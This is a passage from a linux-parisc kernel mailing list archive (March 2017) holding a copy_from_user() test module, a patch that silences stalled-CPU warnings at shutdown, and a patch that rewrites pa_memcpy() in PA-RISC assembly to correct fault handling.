 UpjjJjNAA5bQnt2VIvcSRYe+rfCJECkVHQd01w7bLLEXgvsraGmRtlYFKe+aGw3JFTYOAjABl
 eNB6w99vWXsaD1eG4j9Z2OdtsU9jXmOfDxcnhbNGVwil+2rZJP+GIEq2ocFNlcmlYPXIBIBJu
 9/uhc1ua4IXrZ0EVM52wxCQFqXwe+I54zCgoeOizhVaa3/D7a9klsR3pRdpR8EFg3sBdNlLOA
 JxQAGyF5wHvmZVbohHuB8sU5zYYCev8PGNNTG2UzAxwvQHXfj5cDp82iMzLWq5r1PZDSyGSOt
 Y9v6EaKa0LVe4PR+s1w1cH6VIvlk572O3Lc7GR9zUr8Knn2FFWXbZyIM9Rxt6ILCiA0SAvgbT
 wyhotTZg+fkAvSR/MkRlNHA9HmOLnYPHxalaf1fsO6/0YTNpT/uVjS5D6+D5lkfYWZtyHjQ4x
 bIrb8HSQimxA56Gyf+eyKn9BWodAUTGGrnLJJzKPNQ3IFm1RNSo22hBxJhk+4d/6j10ynhDcp
 nHtdzhkm+AVzAtsblHbk+AutWeeQ/7YV3i+ax+W11It/ZfI3YElg/4W4P6yzoJpuLD92ZJn/w
 BJGR9m/yQ0SC2SyA73KdODvtf3EiGTqxm/AxkqAvBLmexr8J8eVod/lqye1ZyHLTIAYEpLVwL
 BtGUXJz30YEo2v+c0Z8KTNXB1UXq6fPBl9liosqt/3iLFGOHMfsP5f0Hwn79Te9rca0tbLmIx
 +Psx9uHdRN02gqd4R8Hi0UoKXKcTK8LN1snwDBrW0/sT+gvaLiqATpmN2bE=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27365
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27365>

Just for the mailing list archive:
Attached is the testcase, sent to me by Al Viro, which I used to check
the copy_from_user() changes.
Originally written by Andrey Ryabinin <a.ryabinin@samsung.com>.

Helge


diff --git a/lib/Makefile b/lib/Makefile
index 320ac46a..0548bda 100644
--- a/lib/Makefile
+++ b/lib/Makefile
@@ -242,3 +242,5 @@ UBSAN_SANITIZE_ubsan.o := n
 obj-$(CONFIG_SBITMAP) += sbitmap.o
 
 obj-$(CONFIG_PARMAN) += parman.o
+
+obj-m += test-cfu.o
diff --git a/lib/test-cfu.c b/lib/test-cfu.c
new file mode 100644
index 0000000..219fc82
--- /dev/null
+++ b/lib/test-cfu.c
@@ -0,0 +1,107 @@
+/*
+ *
+ * Copyright (c) 2014 Samsung Electronics Co., Ltd.
+ * Author: Andrey Ryabinin <a.ryabinin@samsung.com>
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License version 2 as
+ * published by the Free Software Foundation.
+ *
+ */
+
+#define pr_fmt(fmt) "cfu test: %s " fmt, __func__
+
+#include <linux/delay.h>
+#include <linux/kernel.h>
+#include <linux/mman.h>
+#include <linux/mm.h>
+#include <linux/printk.h>
+#include <linux/slab.h>
+#include <linux/string.h>
+#include <linux/uaccess.h>
+#include <linux/module.h>
+
+static char pat[2 * PAGE_SIZE];
+static void run_test(int n, int m, char __user *up, char *kp)
+{
+	int i;
+	for (i = 0; i < 4; i++) {
+		int r;
+		memset(kp, 0, 2 * PAGE_SIZE);
+		r = __copy_from_user_inatomic(kp + i, up, m);
+		if (m <= n) {
+			if (r) {
+				pr_err("bogus fault (%d, %d, %d)\n", r, m, n);
+				return;
+			}
+		} else {
+			if (r < m - n) {
+				pr_err("claims too much (%d, %d, %d)\n", r, m, n);
+				return;
+			}
+		}
+		r = m - r;	/* claim to have copied that much */
+		if (memcmp(kp + i, pat + PAGE_SIZE - n, r)) {
+			int j;
+			pr_err("crap in copy (%d, %d, %d)", r, m, n);
+			for (j = 0; j < r; j++) {
+				if (!kp[i+j]) {
+					if (!memcmp(kp + i + j, pat + PAGE_SIZE, PAGE_SIZE)) {
+						pr_cont(" only %d copied\n", j);
+						return;
+					}
+					break;
+				}
+			}
+			pr_cont("\n");
+			return;
+		}
+		if (memcmp(kp + i + r, pat + PAGE_SIZE, PAGE_SIZE)) {
+			pr_err("crap after copy (%d, %d, %d)\n", r, m, n);
+			return;
+		}
+	}
+}
+
+static int __init cfu_test(void)
+{
+	char *kp;
+	char __user *up;
+	int i;
+
+	kp = kmalloc(PAGE_SIZE * 2, GFP_KERNEL);
+	if (!kp)
+		return -EAGAIN;
+
+	up = (char __user *)vm_mmap(NULL, 0, 2 * PAGE_SIZE,
+			    PROT_READ | PROT_WRITE | PROT_EXEC,
+			    MAP_ANONYMOUS | MAP_PRIVATE, 0);
+	if (IS_ERR(up)) {
+		pr_err("Failed to allocate user memory\n");
+		kfree(kp);
+		return -EAGAIN;
+	}
+	vm_munmap((unsigned long)up + PAGE_SIZE, PAGE_SIZE);
+
+	for (i = 0; i < PAGE_SIZE; i++)
+		pat[i] = 128 | i;
+	if (copy_to_user(up, pat, PAGE_SIZE)) {
+		pr_err("failed to copy to user memory\n");
+		goto out;
+	}
+
+	for (i = 0; i <= 128; i++) {
+		int j;
+		pr_err("trying %d\n", i);
+		for (j = 0; j <= 128; j++)
+			run_test(i, j, up + PAGE_SIZE - i, kp);
+	}
+
+out:
+	vm_munmap((unsigned long)up, PAGE_SIZE);
+	kfree(kp);
+	return -EAGAIN;
+}
+
+module_init(cfu_test);
+MODULE_LICENSE("GPL");
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Avoid stalled CPU warnings after system shutdown
Date: Wed, 29 Mar 2017 08:25:30 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <20170329062530.GA2960@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1490768744 23639 195.159.176.226 (29 Mar 2017 06:25:44 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 29 Mar 2017 06:25:44 +0000 (UTC)
User-Agent: Mutt/1.8.0 (2017-02-23)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 29 08:25:40 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ct733-0002w7-Nq
	for glpp-linux-parisc@m.gmane.org; Wed, 29 Mar 2017 08:25:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753165AbdC2GZo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 29 Mar 2017 02:25:44 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:55389 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753134AbdC2GZn (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 29 Mar 2017 02:25:43 -0400
Original-Received: from ls3530.fritz.box ([193.159.29.151]) by mail.gmx.com (mrgmx001
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0LzblK-1c6FYb0IuQ-014lVJ; Wed, 29
 Mar 2017 08:25:35 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:xyRJS74FYP9FA3FtmMZD71/Iyo4cCYc9tMR4DG2EGxUI9z+wtvU
 F9+2mm0FalUuS1GlLWKnjtRjxABrUZu8YZEeXhUdtwbCmnDEGw/n2A+jCksnNomxAEjtII5
 MJ6JMdDnxfAs6qrhFlVvjxpPcseAnPA+rrk7UDFKrexP1CaDhYN5GBKF3TzdGYIQHdPYzp0
 SJwsDEzW0MSb7H81S3IZA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:Woai9ijrcm0=:t7FTLW/UwGzGjg+8g3j/NL
 3Lekn3bBx5eFCA8ZonwLHZmiwmZd7UhDafaCa10GhrnyVu+kLOGrJc42kNvOBf8RGihhNFr/D
 uGC1qZjlHxkoAtMRpNtWZiYxWzKrUklikXffPuwBw9ZwuKBmTBF8S5ZC3pWjrwYpM84PtJd4f
 eF7Vr13fpbHRU0ipcfWKPmjB6mRtX/NokdBleD6DzZP4dF0kFQKd2SiprrDJZ7Q2mdWMD07Qg
 jvtPOpkB8iur1gJ1h0sjVEJog9Lpr+llXXtgWrka68nTHHnu4ZMypRPzBO/jaBioXvnR17dfR
 bMWQp+STzFxIWRNBKfekuc926nYQL0O8RKmchk1SdARaYICETbGvnmAEjigJFwLl873VWepno
 Mt4ipptgid5QDgZoYLzgD/+8qSOrcijYPVMvsiE10y047EF0Y41p90DL5NVp5W/vE33jgAOrI
 hhtah6M7AY/Q/JCajXgu7ZRxCtUPQbt1iTUtboXdp1HDzF1TN+RBcpCBJALd5IKYH6dkTikmS
 1cWhJDENXzdRu7KWSi5RFwXMIeij+PcuZg9iWQxPIT3sF8bgFR7E2GgOTpK+nBSqhUXXz9Ufv
 7GKxozkrnTAbwlHiJ47Iu0SQAUj4yJjZGrKHDrzw9lWQpuJiadtqC6TvffECvUNvH6+MOcG0D
 7ZA4VdakuCtugPS49i+2dM9N/0aPRv/DLbML3KPR2mVztMFBo3vidIQ04wEPhGQE96hysp+WC
 MvWCq1OD2NwxPuObTyb0rHOn98bxlAZPQLe+YwKEgJKjLHGM3v+sTHmggEQ=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27366
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27366>

Commit 73580dac7618 ("parisc: Fix system shutdown halt") introduced an endless
loop for systems which don't provide a software power off function.  But the
soft lockup detector will detect this and report stalled CPUs after some time.
Avoid those unwanted warnings by disabling the soft lockup detector.

Fixes: 73580dac7618 ("parisc: Fix system shutdown halt")
Signed-off-by: Helge Deller <deller@gmx.de>
Cc: stable@vger.kernel.org # 4.9+

diff --git a/arch/parisc/kernel/process.c b/arch/parisc/kernel/process.c
index b76f503..4516a5b 100644
--- a/arch/parisc/kernel/process.c
+++ b/arch/parisc/kernel/process.c
@@ -143,6 +143,8 @@ void machine_power_off(void)
 	printk(KERN_EMERG "System shut down completed.\n"
 	       "Please power this system off now.");
 
+	/* prevent soft lockup/stalled CPU messages for endless loop. */
+	rcu_sysrq_start();
 	for (;;);
 }
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH v3] parisc: Fix access fault handling in pa_memcpy()
Date: Wed, 29 Mar 2017 21:41:05 +0200
Lines: 867
Approved: news@gmane.org
Message-ID: <20170329194105.GA15029@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1490816481 9228 195.159.176.226 (29 Mar 2017 19:41:21 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 29 Mar 2017 19:41:21 +0000 (UTC)
User-Agent: Mutt/1.8.0 (2017-02-23)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 29 21:41:15 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ctJSx-0007gt-Ik
	for glpp-linux-parisc@m.gmane.org; Wed, 29 Mar 2017 21:41:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932347AbdC2TlS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 29 Mar 2017 15:41:18 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:49798 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S932524AbdC2TlQ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 29 Mar 2017 15:41:16 -0400
Original-Received: from ls3530.fritz.box ([193.159.29.151]) by mail.gmx.com (mrgmx103
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0LgZ7h-1cNsCP0yqj-00nzJc; Wed, 29
 Mar 2017 21:41:08 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:Jd8ajyAFEVAsqeYzxdRXmtt2HKSl7ZUaJsJAk9jb1moUcPRWLPm
 +R+Rpkf3TcL/wEj96Ju38XehAKfltsVXT6gAN+2UF6mUD/5MpnjOKHFgckoqhrUG9YCW4TQ
 isrXB1KaSi/aGjm1DJ8h+rwPmZy7bB4RYdA2iZ4yKgtaVUUr+aBLokkSJtVMSVU8+IN890P
 utLoUoN10diO0KhOygtCw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:LKDKD0+L18M=:nmeQGsNiag7TKH/M+HyeWo
 FTluJ2fqSg/8EVr2kxJpFMAMBYIfDQ4Z0QFeDcR0RgUC2kN4TAD/wuYp6zFlTUx4ssL9qlK63
 JWjEW8sNvuOuvGuXjNJuUMU+2uTFRaAX28WzyR2VdJ9Ol+1JuE2jg5EaaSBr0gQ51a7cHb4MJ
 8sJqlI3MRu91ld9tx81KJimGj3zG5qnXNUeS9QUuP3jFhsTkBtR3uBqOnZgk6AIovPNEOhL9v
 +8yAVekE2/q+skeLH/EreOnfgPgp/TsUjr5VP8OLuo5Z1u0061eMSK0UaOtqgj7A2Cnv6lvos
 yPerSijupiof7O5ZkYgID9vCDoNGWdQTznlFcHS1RX9798rmDV7WCh0fxmEps0S3UmSZzO5xT
 rMsrKBsMdD5EYiBLAAmYNnkEUdCULT/F1GurGg0kbP2FOLsxnbYyudZ8T7NErdB/9cqhNk8Fb
 xvHDrQds24SXl9gs6e/438w8DqbqNF1ubMXx2Op8o9coZeneARzTGRFKpo62H97fW41UCG310
 dkPrzZ5eGKYq4g0LhAadYgz+p9MYKm2yWVGiRbG5oysGfUukoBX1C9e2LbKJubdUbmnX9xJyn
 WDIhAr/M3Ys508fD0envkIzwN7k5XGP+TZznUnAzS1D9OasZEGc+qWgF6R9zUuFw1XcBmFzVk
 oQfNIamvTPBzp/UvANz56f+aADRu8HFZyHmBcJGooep4vF8n+j2JXnT7zhmlad+Xi/Da4fzQG
 +bZlgis/6BeTPyJa2C3s3WppQ90TuHZvBHdJs3zHU6AdbXV2lWn6BnpxsG4=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27367
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27367>

pa_memcpy() is the major memcpy implementation in the parisc kernel which is
used to do any kind of userspace/kernel memory copies.

Al Viro noticed various bugs in the implementation of pa_mempcy(), most notably
that in case of faults it may report back to have copied more bytes than it
actually did.

Fixing those bugs is quite hard in the C-implementation, because the compiler
is messing around with the registers and we are not guaranteed that specific
variables are always in the same processor registers. This makes proper fault
handling complicated.

This patch implements pa_memcpy() in assembler. That way we have correct fault
handling and adding a 64-bit copy routine was quite easy.

Runtime tested with 32- and 64bit kernels.

Reported-by: Al Viro <viro@ZenIV.linux.org.uk>
Cc: <stable@vger.kernel.org> # v4.9+
Signed-off-by: John David Anglin <dave.anglin@bell.net>
Signed-off-by: Helge Deller <deller@gmx.de>

---
Changes to v2 (most patches by Dave Anglin):
- optimize cpu scheduling: CPU can do either 2 loads or one store
  in parallel
- use less fault handlers by calculating not-copied len via diff of
  planned end and current dst target
- move fault handlers to the end and out of main loop

Changes to v1:
- do not fall back to byte store from store fault (noticed by Al)
- better wording in comments (suggestions by Dave)
- keep notices from old implementation from Randolph (suggested by Dave)
- use local jump labels to avoid them showing up in vmlinux
- lots of smaller cleanups



diff --git a/arch/parisc/lib/lusercopy.S b/arch/parisc/lib/lusercopy.S
index 56845de..f01188c 100644
--- a/arch/parisc/lib/lusercopy.S
+++ b/arch/parisc/lib/lusercopy.S
@@ -5,6 +5,8 @@
  *    Copyright (C) 2000 Richard Hirst <rhirst with parisc-linux.org>
  *    Copyright (C) 2001 Matthieu Delahaye <delahaym at esiee.fr>
  *    Copyright (C) 2003 Randolph Chung <tausq with parisc-linux.org>
+ *    Copyright (C) 2017 Helge Deller <deller@gmx.de>
+ *    Copyright (C) 2017 John David Anglin <dave.anglin@bell.net>
  *
  *
  *    This program is free software; you can redistribute it and/or modify
@@ -132,4 +134,320 @@ ENDPROC_CFI(lstrnlen_user)
 
 	.procend
 
+
+
+/*
+ * unsigned long pa_memcpy(void *dstp, const void *srcp, unsigned long len)
+ *
+ * Inputs:
+ * - sr1 already contains space of source region
+ * - sr2 already contains space of destination region
+ *
+ * Returns:
+ * - number of bytes that could not be copied.
+ *   On success, this will be zero.
+ *
+ * This code is based on a C-implementation of a copy routine written by
+ * Randolph Chung, which in turn was derived from the glibc.
+ *
+ * Several strategies are tried to try to get the best performance for various
+ * conditions. In the optimal case, we copy by loops that copy 32- or 16-bytes
+ * at a time using general registers.  Unaligned copies are handled either by
+ * aligning the destination and then using shift-and-write method, or in a few
+ * cases by falling back to a byte-at-a-time copy.
+ *
+ * Testing with various alignments and buffer sizes shows that this code is
+ * often >10x faster than a simple byte-at-a-time copy, even for strangely
+ * aligned operands. It is interesting to note that the glibc version of memcpy
+ * (written in C) is actually quite fast already. This routine is able to beat
+ * it by 30-40% for aligned copies because of the loop unrolling, but in some
+ * cases the glibc version is still slightly faster. This lends more
+ * credibility that gcc can generate very good code as long as we are careful.
+ *
+ * Possible optimizations:
+ * - add cache prefetching
+ * - try not to use the post-increment address modifiers; they may create
+ *   additional interlocks. Assumption is that those were only efficient on old
+ *   machines (pre PA8000 processors)
+ */
+
+	dst = arg0
+	src = arg1
+	len = arg2
+	end = arg3
+	t1  = r19
+	t2  = r20
+	t3  = r21
+	t4  = r22
+	srcspc = sr1
+	dstspc = sr2
+
+	t0 = r1
+	a1 = t1
+	a2 = t2
+	a3 = t3
+	a0 = t4
+
+	save_src = ret0
+	save_dst = ret1
+	save_len = r31
+
+ENTRY_CFI(pa_memcpy)
+	.proc
+	.callinfo NO_CALLS
+	.entry
+
+	/* Last destination address */
+	add	dst,len,end
+
+	/* short copy with less than 16 bytes? */
+	cmpib,>>=,n 15,len,.Lbyte_loop
+
+	/* same alignment? */
+	xor	src,dst,t0
+	extru	t0,31,2,t1
+	cmpib,<>,n  0,t1,.Lunaligned_copy
+
+#ifdef CONFIG_64BIT
+	/* only do 64-bit copies if we can get aligned. */
+	extru	t0,31,3,t1
+	cmpib,<>,n  0,t1,.Lalign_loop32
+
+	/* loop until we are 64-bit aligned */
+.Lalign_loop64:
+	extru	dst,31,3,t1
+	cmpib,=,n	0,t1,.Lcopy_loop_16
+20:	ldb,ma	1(srcspc,src),t1
+21:	stb,ma	t1,1(dstspc,dst)
+	b	.Lalign_loop64
+	ldo	-1(len),len
+
+	ASM_EXCEPTIONTABLE_ENTRY(20b,.Lcopy_done)
+	ASM_EXCEPTIONTABLE_ENTRY(21b,.Lcopy_done)
+
+	ldi	31,t0
+.Lcopy_loop_16:
+	cmpb,COND(>>=),n t0,len,.Lword_loop
+
+10:	ldd	0(srcspc,src),t1
+11:	ldd	8(srcspc,src),t2
+	ldo	16(src),src
+12:	std,ma	t1,8(dstspc,dst)
+13:	std,ma	t2,8(dstspc,dst)
+14:	ldd	0(srcspc,src),t1
+15:	ldd	8(srcspc,src),t2
+	ldo	16(src),src
+16:	std,ma	t1,8(dstspc,dst)
+17:	std,ma	t2,8(dstspc,dst)
+
+	ASM_EXCEPTIONTABLE_ENTRY(10b,.Lcopy_done)
+	ASM_EXCEPTIONTABLE_ENTRY(11b,.Lcopy16_fault)
+	ASM_EXCEPTIONTABLE_ENTRY(12b,.Lcopy_done)
+	ASM_EXCEPTIONTABLE_ENTRY(13b,.Lcopy_done)
+	ASM_EXCEPTIONTABLE_ENTRY(14b,.Lcopy_done)
+	ASM_EXCEPTIONTABLE_ENTRY(15b,.Lcopy16_fault)
+	ASM_EXCEPTIONTABLE_ENTRY(16b,.Lcopy_done)
+	ASM_EXCEPTIONTABLE_ENTRY(17b,.Lcopy_done)
+
+	b	.Lcopy_loop_16
+	ldo	-32(len),len
+
+.Lword_loop:
+	cmpib,COND(>>=),n 3,len,.Lbyte_loop
+20:	ldw,ma	4(srcspc,src),t1
+21:	stw,ma	t1,4(dstspc,dst)
+	b	.Lword_loop
+	ldo	-4(len),len
+
+	ASM_EXCEPTIONTABLE_ENTRY(20b,.Lcopy_done)
+	ASM_EXCEPTIONTABLE_ENTRY(21b,.Lcopy_done)
+
+#endif /* CONFIG_64BIT */
+
+	/* loop until we are 32-bit aligned */
+.Lalign_loop32:
+	extru	dst,31,2,t1
+	cmpib,=,n	0,t1,.Lcopy_loop_4
+20:	ldb,ma	1(srcspc,src),t1
+21:	stb,ma	t1,1(dstspc,dst)
+	b	.Lalign_loop32
+	ldo	-1(len),len
+
+	ASM_EXCEPTIONTABLE_ENTRY(20b,.Lcopy_done)
+	ASM_EXCEPTIONTABLE_ENTRY(21b,.Lcopy_done)
+
+
+.Lcopy_loop_4:
+	cmpib,COND(>>=),n 15,len,.Lbyte_loop
+
+10:	ldw	0(srcspc,src),t1
+11:	ldw	4(srcspc,src),t2
+12:	stw,ma	t1,4(dstspc,dst)
+13:	stw,ma	t2,4(dstspc,dst)
+14:	ldw	8(srcspc,src),t1
+15:	ldw	12(srcspc,src),t2
+	ldo	16(src),src
+16:	stw,ma	t1,4(dstspc,dst)
+17:	stw,ma	t2,4(dstspc,dst)
+
+	ASM_EXCEPTIONTABLE_ENTRY(10b,.Lcopy_done)
+	ASM_EXCEPTIONTABLE_ENTRY(11b,.Lcopy8_fault)
+	ASM_EXCEPTIONTABLE_ENTRY(12b,.Lcopy_done)
+	ASM_EXCEPTIONTABLE_ENTRY(13b,.Lcopy_done)
+	ASM_EXCEPTIONTABLE_ENTRY(14b,.Lcopy_done)
+	ASM_EXCEPTIONTABLE_ENTRY(15b,.Lcopy8_fault)
+	ASM_EXCEPTIONTABLE_ENTRY(16b,.Lcopy_done)
+	ASM_EXCEPTIONTABLE_ENTRY(17b,.Lcopy_done)
+
+	b	.Lcopy_loop_4
+	ldo	-16(len),len
+
+.Lbyte_loop:
+	cmpclr,COND(<>) len,%r0,%r0
+	b,n	.Lcopy_done
+20:	ldb	0(srcspc,src),t1
+	ldo	1(src),src
+21:	stb,ma	t1,1(dstspc,dst)
+	b	.Lbyte_loop
+	ldo	-1(len),len
+
+	ASM_EXCEPTIONTABLE_ENTRY(20b,.Lcopy_done)
+	ASM_EXCEPTIONTABLE_ENTRY(21b,.Lcopy_done)
+
+.Lcopy_done:
+	bv	%r0(%r2)
+	sub	end,dst,ret0
+
+
+	/* src and dst are not aligned the same way. */
+	/* need to go the hard way */
+.Lunaligned_copy:
+	/* align until dst is 32bit-word-aligned */
+	extru	dst,31,2,t1
+	cmpib,COND(=),n	0,t1,.Lcopy_dstaligned
+20:	ldb	0(srcspc,src),t1
+	ldo	1(src),src
+21:	stb,ma	t1,1(dstspc,dst)
+	b	.Lunaligned_copy
+	ldo	-1(len),len
+
+	ASM_EXCEPTIONTABLE_ENTRY(20b,.Lcopy_done)
+	ASM_EXCEPTIONTABLE_ENTRY(21b,.Lcopy_done)
+
+.Lcopy_dstaligned:
+
+	/* store src, dst and len in safe place */
+	copy	src,save_src
+	copy	dst,save_dst
+	copy	len,save_len
+
+	/* len now needs give number of words to copy */
+	SHRREG	len,2,len
+
+	/*
+	 * Copy from a not-aligned src to an aligned dst using shifts.
+	 * Handles 4 words per loop.
+	 */
+
+	depw,z src,28,2,t0
+	subi 32,t0,t0
+	mtsar t0
+	extru len,31,2,t0
+	cmpib,= 2,t0,.Lcase2
+	/* Make src aligned by rounding it down.  */
+	depi 0,31,2,src
+
+	cmpiclr,<> 3,t0,%r0
+	b,n .Lcase3
+	cmpiclr,<> 1,t0,%r0
+	b,n .Lcase1
+.Lcase0:
+	cmpb,= %r0,len,.Lcda_finish
+	nop
+
+1:	ldw,ma 4(srcspc,src), a3
+	ASM_EXCEPTIONTABLE_ENTRY(1b,.Lcda_rdfault)
+1:	ldw,ma 4(srcspc,src), a0
+	ASM_EXCEPTIONTABLE_ENTRY(1b,.Lcda_rdfault)
+	b,n .Ldo3
+.Lcase1:
+1:	ldw,ma 4(srcspc,src), a2
+	ASM_EXCEPTIONTABLE_ENTRY(1b,.Lcda_rdfault)
+1:	ldw,ma 4(srcspc,src), a3
+	ASM_EXCEPTIONTABLE_ENTRY(1b,.Lcda_rdfault)
+	ldo -1(len),len
+	cmpb,=,n %r0,len,.Ldo0
+.Ldo4:
+1:	ldw,ma 4(srcspc,src), a0
+	ASM_EXCEPTIONTABLE_ENTRY(1b,.Lcda_rdfault)
+	shrpw a2, a3, %sar, t0
+1:	stw,ma t0, 4(dstspc,dst)
+	ASM_EXCEPTIONTABLE_ENTRY(1b,.Lcopy_done)
+.Ldo3:
+1:	ldw,ma 4(srcspc,src), a1
+	ASM_EXCEPTIONTABLE_ENTRY(1b,.Lcda_rdfault)
+	shrpw a3, a0, %sar, t0
+1:	stw,ma t0, 4(dstspc,dst)
+	ASM_EXCEPTIONTABLE_ENTRY(1b,.Lcopy_done)
+.Ldo2:
+1:	ldw,ma 4(srcspc,src), a2
+	ASM_EXCEPTIONTABLE_ENTRY(1b,.Lcda_rdfault)
+	shrpw a0, a1, %sar, t0
+1:	stw,ma t0, 4(dstspc,dst)
+	ASM_EXCEPTIONTABLE_ENTRY(1b,.Lcopy_done)
+.Ldo1:
+1:	ldw,ma 4(srcspc,src), a3
+	ASM_EXCEPTIONTABLE_ENTRY(1b,.Lcda_rdfault)
+	shrpw a1, a2, %sar, t0
+1:	stw,ma t0, 4(dstspc,dst)
+	ASM_EXCEPTIONTABLE_ENTRY(1b,.Lcopy_done)
+	ldo -4(len),len
+	cmpb,<> %r0,len,.Ldo4
+	nop
+.Ldo0:
+	shrpw a2, a3, %sar, t0
+1:	stw,ma t0, 4(dstspc,dst)
+	ASM_EXCEPTIONTABLE_ENTRY(1b,.Lcopy_done)
+
+.Lcda_rdfault:
+.Lcda_finish:
+	/* calculate new src, dst and len and jump to byte-copy loop */
+	sub	dst,save_dst,t0
+	add	save_src,t0,src
+	b	.Lbyte_loop
+	sub	save_len,t0,len
+
+.Lcase3:
+1:	ldw,ma 4(srcspc,src), a0
+	ASM_EXCEPTIONTABLE_ENTRY(1b,.Lcda_rdfault)
+1:	ldw,ma 4(srcspc,src), a1
+	ASM_EXCEPTIONTABLE_ENTRY(1b,.Lcda_rdfault)
+	b .Ldo2
+	ldo 1(len),len
+.Lcase2:
+1:	ldw,ma 4(srcspc,src), a1
+	ASM_EXCEPTIONTABLE_ENTRY(1b,.Lcda_rdfault)
+1:	ldw,ma 4(srcspc,src), a2
+	ASM_EXCEPTIONTABLE_ENTRY(1b,.Lcda_rdfault)
+	b .Ldo1
+	ldo 2(len),len
+
+
+	/* fault exception fixup handlers: */
+#ifdef CONFIG_64BIT
+.Lcopy16_fault:
+10:	b	.Lcopy_done
+	std,ma	t1,8(dstspc,dst)
+	ASM_EXCEPTIONTABLE_ENTRY(10b,.Lcopy_done)
+#endif
+
+.Lcopy8_fault:
+10:	b	.Lcopy_done
+	stw,ma	t1,4(dstspc,dst)
+	ASM_EXCEPTIONTABLE_ENTRY(10b,.Lcopy_done)
+
+	.exit
+ENDPROC_CFI(pa_memcpy)
+	.procend
+
 	.end
diff --git a/arch/parisc/lib/memcpy.c b/arch/parisc/lib/memcpy.c
index f82ff10..b3d47ec 100644
--- a/arch/parisc/lib/memcpy.c
+++ b/arch/parisc/lib/memcpy.c
@@ -2,7 +2,7 @@
  *    Optimized memory copy routines.
  *
  *    Copyright (C) 2004 Randolph Chung <tausq@debian.org>
- *    Copyright (C) 2013 Helge Deller <deller@gmx.de>
+ *    Copyright (C) 2013-2017 Helge Deller <deller@gmx.de>
  *
  *    This program is free software; you can redistribute it and/or modify
  *    it under the terms of the GNU General Public License as published by
@@ -21,474 +21,21 @@
  *    Portions derived from the GNU C Library
  *    Copyright (C) 1991, 1997, 2003 Free Software Foundation, Inc.
  *
- * Several strategies are tried to try to get the best performance for various
- * conditions. In the optimal case, we copy 64-bytes in an unrolled loop using 
- * fp regs. This is followed by loops that copy 32- or 16-bytes at a time using
- * general registers.  Unaligned copies are handled either by aligning the 
- * destination and then using shift-and-write method, or in a few cases by 
- * falling back to a byte-at-a-time copy.
- *
